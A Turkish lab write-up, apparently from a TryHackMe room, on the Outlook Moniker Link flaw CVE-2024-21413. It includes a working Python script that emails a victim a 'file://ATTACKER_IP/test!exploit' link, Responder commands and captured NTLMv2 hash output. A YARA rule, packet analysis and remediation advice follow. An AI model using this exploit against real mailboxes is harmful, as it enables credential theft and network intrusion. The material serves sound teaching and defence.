

MONİKER LINK CVE-2024-21413

[Kaynak](#)

İÇERİK

- CVE-2024-21413 (Moniker Link) - Microsoft Outlook RCE & Credential Leak
- Moniker Link (CVE-2024-21413) Mekanizması ve Bypass Yöntemi
- Sömürü Aşaması (Exploitation)
- Detection (Tespit Yöntemleri)
- İyileştirme ve Korunma (Remediation)

CVE-2024-21413 (Moniker Link) - Microsoft Outlook RCE & Credential Leak

13 Şubat 2024 tarihinde Microsoft, Outlook üzerinde çok ciddi bir güvenlik açığı duyurdu. Bu açık, Check Point Research ekibinden Haifei Li tarafından keşfedildi. Teknik olarak **Moniker Link** olarak adlandırılan bu açık, hem **RCE** (Remote Code Execution - Uzaktan Kod Çalıştırma) hem de hassas **Credential Leak** (Kimlik Bilgisi Sızıntısı) risklerini barındırıyor.

Bu notta, saldırının çalışma mantığını ve hangi sistemlerin risk altında olduğunu en ince detayına kadar inceleyeceğiz.

1. Güvenlik Açığının Temel Mantığı

Bu zafiyetin kalbinde, Outlook'un belirli hyperlink (köprü) türlerini, özellikle de **Moniker Link** yapılarını işleme biçimi yatıyor. Normal şartlarda Outlook, şüpheli veya potansiyel olarak tehlikeli bağlantılara karşı güvenlik mekanizmaları (Protected View gibi) devreye sokar. Ancak **CVE-2024-21413**, bu güvenlik bariyerlerini tamamen atlatmayı (bypass) başarıyor.

Saldırı şu şekilde gerçekleşiyor:

- Saldırgan, kurbanı özel olarak hazırlanmış ve içinde kötü niyetli bir **Moniker Link** bulunan bir e-posta gönderir.
- Kullanıcı bu bağlantıya tıkladığı anda Outlook, bağlantıyı güvenli kabul eder ve arka planda işlemi başlatır.
- Bu işlem sırasında sistem, kullanıcının **NTLM** (Windows ağ kimlik doğrulama protokolü) bilgilerini saldırganın kontrolündeki bir sunucuya gönderir.

Neden Tehlikeli?

Sadece kimlik bilgilerinin sızmasıyla kalmaz; bu yöntemle saldırgan hedef sistemde kod çalıştırabilir (RCE). 9.8 gibi oldukça yüksek bir **CVSS** skoruna sahip olması, saldırının

karmaşıklığının düşük (**Low Complexity**), etkisinin ise kritik seviyede olmasından kaynaklanır.

2. Teknik Detaylar ve Skorlama

Açığın ciddiyetini anlamak için Microsoft'un yayınladığı teknik verilere bakmakta fayda var:

Özellik	Detay
Yayınlanma Tarihi	13 Şubat 2024
Etki (Impact)	RCE & Credential Leak
Şiddet (Severity)	Critical (Kritik)
Saldırı Karmaşıklığı	Low (Düşük - Otomatize edilebilir)
CVSS Skoru	9.8

Bu veriler bize şunu söylüyor: Saldırganın hedef sistem hakkında derin bir ön bilgiye sahip olmasına gerek yok ve kullanıcıyı sadece bir linke tıklamaya ikna etmesi (Social Engineering) yeterli.

3. Etkilenen Versiyonlar

Saldırı, yaygın olarak kullanılan birçok Microsoft Office sürümünü doğrudan etkilemektedir. Eğer sistemler bu sürümlerdeyse ve ilgili yamalar (patch) yapılmadıysa doğrudan hedef konumundadır:

- Microsoft Office LTSC 2021:** 19.0.0 sürümünden itibaren etkileniyor.
- Microsoft 365 Apps for Enterprise:** 16.0.1 sürümünden itibaren etkileniyor.
- Microsoft Office 2019:** 16.0.1 sürümünden itibaren etkileniyor.
- Microsoft Office 2016:** 16.0.0 sürümünden itibaren, **16.0.5435.1001** altındaki tüm sürümler etkileniyor.

4. Kritik Analiz ve Hatırlatmalar

Bu odayı/challenge'ı çözerken veya gerçek bir senaryoda bu açığı analiz ederken şu mantık zincirini unutmamalısın:

- Giriş Noktası:** E-posta içerisindeki `<a href= "... ">` yapısıdır ancak burada kullanılan protokol sıradan bir `http://` değil, bir dosya yolu veya nesne bağlama protokolü (Moniker) üzerinden manipüle edilir.
- Bypass Mekanizması:** Normalde Windows, dışarıdan gelen bir SMB (Server Message Block) isteği gördüğünde kullanıcıyı uyarır. Fakat bu açık, Outlook'un linki "güvenli bölge" (Trusted Zone) gibi algılamasını sağlayarak bu uyarıyı susturur.
- Sonuç:** Saldırganın makinesine düşen NTLM hash'i (parola özeti) ya **Hashcat/John the Ripper** gibi araçlarla kırılarak düz metin parolaya dönüştürülür ya da **SMB Relay**

saldırılarında kullanılarak ağda yanal hareket (Lateral Movement) imkanı sağlar.

Önemli Not: Eğer bir laboratuvar ortamında bu açığı test edeceksen, Responder gibi bir araçla ağ trafiğini dinleyip, kurbanın linke tıkladığı anda NTLMv2 hash'inin düşüp düşmediğini kontrol etmelisin.

Moniker Link (CVE-2024-21413) Mekanizması ve Bypass Yöntemi

Outlook, bildiğimiz üzere e-postaları **HTML** olarak işleyebilme yeteneğine sahip. Bu özellik sayesinde favori bültenlerimizi görsellerle ve düzgün bir mizanpajla okuyabiliyoruz. Outlook sadece `http://` ve `https://` protokollerini değil, aynı zamanda **Moniker Links** olarak bilinen ve belirli uygulamaları tetikleyen URL yapılarını da parse edebilir (ayrıştırabilir).

Normal şartlarda, harici bir uygulama tetiklendiğinde Outlook bizi "Dur, bu tehlikeli olabilir!" diyerek uyarır. İşte bu uyarının arkasındaki kahraman **Protected View** (Korumalı Görünüm) mekanizmasıdır.

1. Protected View (Korumalı Görünüm) Nedir?

Protected View, özellikle organizasyon dışından gelen, ek (attachment) veya köprü (hyperlink) içeren e-postaları "salt okunur" modda açan bir güvenlik katmanıdır.

- Görevi:** Makroları engellemek, şüpheli bağlantıları kısıtlamak ve kullanıcının onayını almadan sistemde bir işlem yapılmasını önlemektir.
- Kısıtı:** Eğer standart bir ağ paylaşım linki (`file://`) gönderirsek, Protected View bunu yakalar ve bağlantıyı durdurur.

2. Standart SMB Kimlik Doğrulama Denemesi

Bir saldırgan, e-posta içine aşağıdaki gibi bir bağlantı yerleştirdiğinde:

HTML

```
<a href="file://SALDIRGAN_IP/test">Tıkla Bana</a>
```

Bu yapı Outlook'a şunu der: "Git ve `SALDIRGAN_IP` adresindeki `test` dosyasına erişmeye çalış."

- Bu erişim denemesi için **SMB (Server Message Block)** protokolü kullanılır.
- Windows, SMB üzerinden bir ağ paylaşımına bağlanmaya çalışırken **yerel kimlik bilgilerini** (NTLM hash) otomatik olarak karşı tarafa sunar.
- Ancak:** Standart `file://` kullanımı Protected View tarafından engellendiği için kullanıcıya o meşhur güvenlik uyarısı çıkar ve saldırı büyük ihtimalle başarısız olur.

3. Zaafiyetin Kalbi: "!" Karakteri ile Bypass

CVE-2024-21413'ün keşfettiği asıl olay, Outlook'un bağlantı dizelerini işlerken yaptığı bir mantık hatasıdır. Eğer Moniker Link yapısına özel bir karakter olan `!` (ünlem) eklenirse, Outlook'un güvenlik denetimleri devre dışı kalıyor.

Bypass Örneği:

HTML

```
<a href="file://SALDIRGAN_IP/test!exploit">Tıkla Bana</a>
```

- **Neden Çalışıyor?** Linkin sonuna eklenen `!exploit` (veya ünlemden sonra herhangi bir metin), Outlook'un "Protected View" mekanizmasını şaşırtır. Outlook bu yapıyı gördüğünde, bağlantının güvenli olup olmadığını kontrol etmeyi bırakır ve doğrudan dosyaya erişmeye çalışır.
- **Sonuç:** Kullanıcı linke tıkladığı anda hiçbir uyarı çıkmaz. Arka planda kurbanın bilgisayarını, saldırganın IP'sine SMB üzerinden bağlanmaya çalışır ve kurbanın **netNTLMv2 hash** bilgisini saldırganın kucağına bırakır.

Kritik Not: Paylaşımın (share) saldırganın makinesinde gerçekten var olmasına gerek yoktur. Windows, paylaşımın varlığını kontrol etmeden önce kimlik doğrulamaya (authentication) çalıştığı için hash her halükarda gönderilir.

4. RCE (Uzaktan Kod Çalıştırma) Potansiyeli

Bu zafiyet sadece bir kimlik bilgisi hırsızlığı (Credential Leak) aracı değildir. Aynı zamanda **RCE** (Remote Code Execution) potansiyeli taşır.

- **Mantık:** Moniker Linkleri, Windows'un **COM (Component Object Model)** yapısını kullanır. COM, yazılımların birbirleriyle iletişim kurmasını sağlayan oldukça karmaşık ve güçlü bir sistemdir.
- **Mevcut Durum:** Bu oda kapsamında RCE detaylarına girilmemesinin sebebi, bu özel CVE üzerinden RCE elde etmek için henüz halka açık (public) bir **PoC (Proof of Concept)** yayınlanmamış olmasıdır. Ancak teorik olarak bu "nesne bağlama" yeteneği, sistemde kod tetiklemek için kullanılabilir.

Sömürü Aşaması (Exploitation)

Bu aşamada, öğrendiğimiz **Moniker Link** bypass yöntemini kullanarak kurbanın **netNTLMv2** hash bilgisini ele geçireceğiz. Saldırı senaryomuzda bir Python script'i ile kurbanı özel hazırlanmış bir e-posta gönderecek ve kendi makinemizde bu bağlantıyı bekleyeceğiz.

1. Saldırı Senaryosu ve PoC (Proof of Concept) Hazırlığı

Saldırımı gerçekleştirmek için `smtpLib` kütüphanesini kullanan bir Python betiği hazırlıyoruz. Bu betiğin temel görevi, içinde `!` karakteri barındıran o kritik linki içeren bir HTML mailini kurbanı iletmektir.

exploit.py İçeriği ve Analizi

Aşağıdaki kod bloğu, saldırının motorudur. Önemli kısımları kodun hemen altında detaylandırdım:

Python

```
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender_email = 'attacker@monikerlink.thm'
receiver_email = 'victim@monikerlink.thm'
password = input("Enter your attacker email password: ")

# KRİTİK NOKTA: Moniker Link'in HTML içine gömülmesi
# file:// protokolü, kurbanın SMB isteği yapmasını sağlar.
# !exploit kısmı Protected View'u bypass eder.
html_content = """\
<!DOCTYPE html>
<html lang="en">
    <p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>
</body>
</html>"""

message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email

msgHtml = MIMEText(html_content, 'html')
message.attach(msgHtml)

# Mail sunucusuna bağlantı ve gönderim
server = smtplib.SMTP('MAILSERVER_IP', 25)
server.ehlo()
try:
    server.login(sender_email, password)
    server.sendmail(sender_email, [receiver_email], message.as_string())
    print("\n Email delivered")
except Exception as err:
    print(err)
finally:
    server.quit()
```

Dikkat Edilmesi Gereken Parametreler:

- **ATTACKER_IP (Satır 12):** Buraya kendi saldırı makinenizin (AttackBox veya Kali) IP adresini yazmalısınız. Kurbanın bilgisayarını hash bilgisini bu IP'ye gönderecektir.
- **MAILSERVER_IP (Satır 24):** Mailin gönderileceği SMTP sunucusunun IP adresi.
- **!exploit :** Bu ifade olmazsa Outlook güvenlik uyarısı verir ve hash sızıntısı gerçekleşmez.

2. Dinleyiciyi (Listener) Başlatma: Responder

Kurban linke tıkladığında gelecek olan NTLM hash'ini yakalamak için bir SMB dinleyicisine ihtiyacımız var. Bunun için en etkili araç **Responder**'dir.

Bash

```
root@attackbox:# responder -I ens5
```

- **-I ens5 :** Dinleme yapılacak ağ arayüzünü (interface) belirtir. (Kendi sisteminizde bu `eth0` veya `wlan0` olabilir).
- **Ne yapar?** Responder, yerel ağda veya kendisine yönlendirilen SMB isteklerini yakalar. Kurban linke tıkladığı an Windows, saldırganın IP'sine kimlik bilgilerini sunacak ve Responder bunu ekrana basacaktır.

3. Saldırının Gerçekleştirilmesi

Adım adım uygulama şu şekildedir:

1. **Hazırlık:** AttackBox üzerinde `nano exploit.py` komutuyla dosyayı oluşturun ve yukarıdaki kodu yapıştırın. `ATTACKER_IP` ve `MAILSERVER_IP` kısımlarını güncelleyin.
2. **Çalıştırma:** Scripti çalıştırın ve parola istendiğinde `attacker` yazın.

Bash

```
root@attackbox:# python3 exploit.py
Enter your attacker email password: attacker
Email delivered
```

3. **Kurban Tarafı:** Kurbanın makinesinde Outlook'u açın. Gelen kutusunda "CVE-2024-21413" konulu maili göreceksiniz.
4. **Tetikleme:** Mail içindeki "**Click me**" linkine tıklayın.

4. Sonuç: Hash Capture

Kurban linke tıkladığı anda hiçbir uyarı kutusu (Protected View uyarısı) çıkmaz. Ancak kendi terminalinize (Responder'a) döndüğünüzde şuna benzer bir çıktı görürsünüz:

Plaintext

```
[SMB] NTLMv2-SSP Client      : 10.10.x.x
[SMB] NTLMv2-SSP Username    : VICTIM-PC\Administrator
[SMB] NTLMv2-SSP Hash        : Administrator::VICTIM-PC:5c78...[UZUN HASH DİZİSİ]...
```

Başarı! Kurbanın **netNTLMv2** hash bilgisini ele geçirdik.

Neden Önemli? Artık bu hash'i alıp John the Ripper veya Hashcat ile kırmaya çalışabilir ya da ağdaki diğer makinelerde oturum açmak için **SMB Relay** saldırılarında kullanabiliriz.

Detection (Tespit Yöntemleri)

Saldırıyı yapmak kadar, bu saldırının izlerini sistemde veya ağ trafiğinde yakalamak da bizim işimiz. **CVE-2024-21413** tespiti için iki ana yöntemimiz var: Dosya seviyesinde **YARA** kuralları ve ağ seviyesinde **Wireshark** (Packet Capture) analizi.

1. YARA ile Statik Analiz

YARA, zararlı yazılımları veya şüpheli dosyaları sınıflandırmak için kullanılan, model eşleştirme (pattern matching) tabanlı bir araçtır. Bu zafiyet için siber güvenlik topluluğunun bilinen isimlerinden **Florian Roth** tarafından yazılmış bir kural mevcut.

Bu kural, e-posta dosyaları (.eml, .msg vb.) içerisinde `file://` protokolü ile başlayıp `!` ile biten o meşhur Moniker Link yapısını arar.

Kuralın Kendisi

Kod snippet'i

```
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
    meta:
        description = "Detects emails that contain signs of a method to
exploit CVE-2024-21413 in Microsoft Outlook"
        author = "X__Junior, Florian Roth"
        reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-
Outlook-Remote-Code-Execution-Vulnerability/"
        date = "2024-02-17"
        modified = "2024-02-19"
        score = 75

    strings:
        $a1 = "Subject: "
        $a2 = "Received: "

        $xr1 = /file:\\\\\/\\\\\\\\[^\"]{6,600}\.
```

```
(docx|txt|pdf|xls|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbx|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsx|xlt|xltm|xlt|doc|docm|dot|dotm)!/
```

```
condition:  
  filesize < 1000KB  
  and all of ($a*)  
  and 1 of ($xr*)  
}
```

Satır Satır Analiz (Neye Bakıyoruz?)

Bu kuralın neden çalıştığını anlamak, ezberlemekten daha önemli:

1. meta Bölümü:

- **score = 75:** Bu yüksek bir skor. Yani bu kural tetiklenirse, dosyanın zararlı olma ihtimali %75 ve üzeridir, "false positive" (hatalı tespit) ihtimali düşüktür.

2. strings Bölümü (İmzalar):

- \$a1 ve \$a2 : Dosyanın bir e-posta olduğunu doğrulamak için standart header (başlık) bilgilerini kontrol eder ("Subject" ve "Received").
- \$xr1 (**Kritik Regex**): Burası saldırının parmak izidir.
 - /file:\\\\\/\\\/\\\/\\\/\\\/\\\/: Linkin file:///\\\/ şeklinde başladığını teyit eder (yerel veya ağ yolu).
 - [^"]{6,600} : Yolu (path) uzunluğunun 6 ile 600 karakter arasında olmasını bekler.
 - \.(docx|txt|pdf|...): Saldırganın inandırıcılığı artırmak için kullandığı sahte dosya uzantılarını (Word, PDF, Resim vb.) tarar.
 - ! : **En sondaki ünlem işareti.** Bu zafiyetin çalışması için gereken bypass karakteridir. Eğer linkin sonunda bu varsa ve öncesinde dosya uzantısı geliyorsa, bu bir Moniker Link saldırısıdır.

3. condition Bölümü (Mantık):

- Dosya boyutu 1MB'dan küçük olmalı (filesize < 1000KB).
- VE \$a ile başlayan stringlerin hepsi bulunmalı (yani dosya bir e-posta olmalı).
- VE \$xr regex'i (Moniker Link yapısı) dosyada geçmeli.

2. Wireshark ile Ağ Trafiği Analizi

Saldırı anında ağ trafiğini dinliyorsak (Packet Capture), saldırının gerçekleştiğini "kırmızı alarm" şeklinde görebiliriz.

287	1.903575	192.168.0.200	192.168.0.201	SMB2	294 Negotiate Protocol Response
288	1.903856	192.168.0.201	192.168.0.200	SMB2	220 Session Setup Request, NTLMSSP_NEGOTIATE
289	1.904274	192.168.0.200	192.168.0.201	SMB2	392 Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE
+	290	1.904473	192.168.0.201	192.168.0.200	SMB2 731 [Session Setup Request, NTLMSSP_AUTH, User: THM-MONIKERLINK\tryhackme]
-	291	1.905311	192.168.0.200	192.168.0.201	SMB2 130 Session Setup Response, Error: STATUS_ACCESS_DENIED
-	292	1.905403	192.168.0.201	192.168.0.200	TCP 54 49896 → 445 [RST, ACK] Seq=1022 Ack=655 Win=0 Len=0
-	293	1.906398	192.168.0.201	192.168.0.200	TCP 66 49897 → 445 [SYN, ECE, CWR] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM

Previous Session Id: 0x0000000000000000

Blob Offset: 0x00000058

Blob Length: 505

Security Blob [truncated]: a1820

GSS-API Generic Security Service Application Program Interface

Simple Protected Negotiation

negTokenTarg

negResult: accept-incomplete (1)

responseToken [truncated]: 4e544c4d53550000300000018001800ac0000052015201de0000001e001e005800000012001200760000001e001e00880000001000100010200001582882e2a000634500e

NTLM Secure Service Provider

NTLMSSP_Identifier: NTLMSSP

NTLM Message Type: NTLMSSP_AUTH (0x00000003)

> Lan Manager Response: 00

LMv2 Client Challenge: 0000000000000000

NTLM Response [truncated]: 81a

Length: 338

MaxLen: 338

Offset: 190

> NTLMv2 Response [truncated]: 81a

> Domain name: THM-MONIKERLINK

> User name: tryhackme

> Host name: THM-MONIKERLINK

> Session Key: 6697b9ea1874bfa9595a0957123bb33ca

> [truncated]Negotiate Flags: 0xe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Extended Session

> Version 10.0 (Build 17763); NTLM Current Revision 15

MIC: ef4d6679e5182aaef1f5b26dfba70a8

mechListMIC: 01000000fd51f27e2d91677f00000000

NTLMSSP Verifier

Version Number: 1

Verifier Body: fd51f27e2d91677f00000000

Ne Göreceğiz?

- **Protokol: SMB** (veya SMB2).
- **Yön:** Kurbanın bilgisayarından -> Saldırganın IP adresine doğru.
- **İçerik:** Paket detaylarına bakıldığında, **NTLM Response** veya **NTLMSSP** alanlarında kurbanın **netNTLMv2 hash** bilgisi (kesilmiş/truncated olsa bile) açıkça görülür.

Öğrenci Notu: Normal şartlarda bir e-posta okurken bilgisayarın dış dünyadaki rastgele bir IP adresine SMB (Port 445) bağlantısı kurması **ASLA** normal değildir. Firewall loglarında "Outbound 445" görüyorsan, birisi oltaya takılmış demektir.

İyileştirme ve Korunma (Remediation)

Saldırıyı analiz ettik, şimdi savunma hattını kurma zamanı. Bu zafiyet, konfigürasyon hatasından değil, kodlama mantığındaki bir hatadan kaynaklandığı için çözüm yolları keskin ve nettir.

1. Kesin Çözüm: Yama (Patching)

Microsoft, bu açığı **Şubat 2024 "Patch Tuesday"** güncellemeleriyle kapattı. Yapılması gereken tek ve en güvenilir teknik işlem:

- **Windows Update** veya **Microsoft Update Catalog** üzerinden ilgili Office sürümünü son versiyona güncellemektir.
- Her Office yapısı (build) için farklı KB (Knowledge Base) makaleleri yayınlandı, sistem yöneticisinin bunları kontrol edip deployment yapması şart.

2. Kritik Teknik Engel: Konfigürasyon İşe Yaramaz!

Burada düşülen en büyük yanılgı şudur: *"Outlook ayarlarından Protected View'u daha sıkı hale getirirsem düzelir."* **Hayır, düzelmez.**

Neden? Çünkü zafiyetin kendisi (Moniker Link + !), zaten **Protected View** mekanizmasını **bypass etmek (atlatmak)** üzerine kurulu. Yani Outlook'un koruma kalkanı, bu özel link yapısını gördüğünde devreye girmiyor. Dolayısıyla Outlook içinde yapabileceğimiz bir ayar değişikliği (reconfiguration) bu saldırıyı engellemez.

3. Ağ Seviyesinde Engelleme (Firewall & SMB)

Yama yapana kadar veya "Derinlemesine Savunma" (Defense in Depth) kapsamında yapılabilecek en mantıklı hamle ağ seviyesindedir.

- **SMB Protokolünü Tamamen Kapatmak?**
 - **Kötü Fikir:** SMB (Port 445), kurum içi dosya paylaşımları, yazıcılar ve Active Directory iletişimi için hayati önem taşır. Bunu tamamen kapatmak sistemi felç eder ("Do more harm than good").
- **Doğru Strateji:**
 - **Firewall Kısıtlaması:** Kurum ağından **dış dünyaya (Internet)** giden **TCP 445** (SMB) trafiğini engellemek.
 - Hiçbir kullanıcının internetteki rastgele bir sunucuya SMB ile bağlanmasına gerek yoktur. Bu port dışarıya kapatılırsa, kullanıcı linke tıklasa bile Windows, saldırının sunucusuna ulaşamaz ve hash bilgisi sızmaz.

4. İnsan Faktörü (Farkındalık)

Teknik önlemlerin yanında, "Layer 8" (Kullanıcı) hatalarını minimize etmek için standart prosedürler hatırlatılmalıdır:

- **Tıklama Disiplini:** Beklenmeyen e-postalardaki linklere tıklamamak.
- **Link Önizleme (Hover):** Tıklamadan önce fareyi linkin üzerine getirip hedefin nereye gittiğini (özellikle `file://` protokolü var mı?) kontrol etmek.
- **Raporlama:** Şüpheli e-postaları silmek yerine Güvenlik Operasyon Merkezi'ne (SOC/Security Team) iletmek.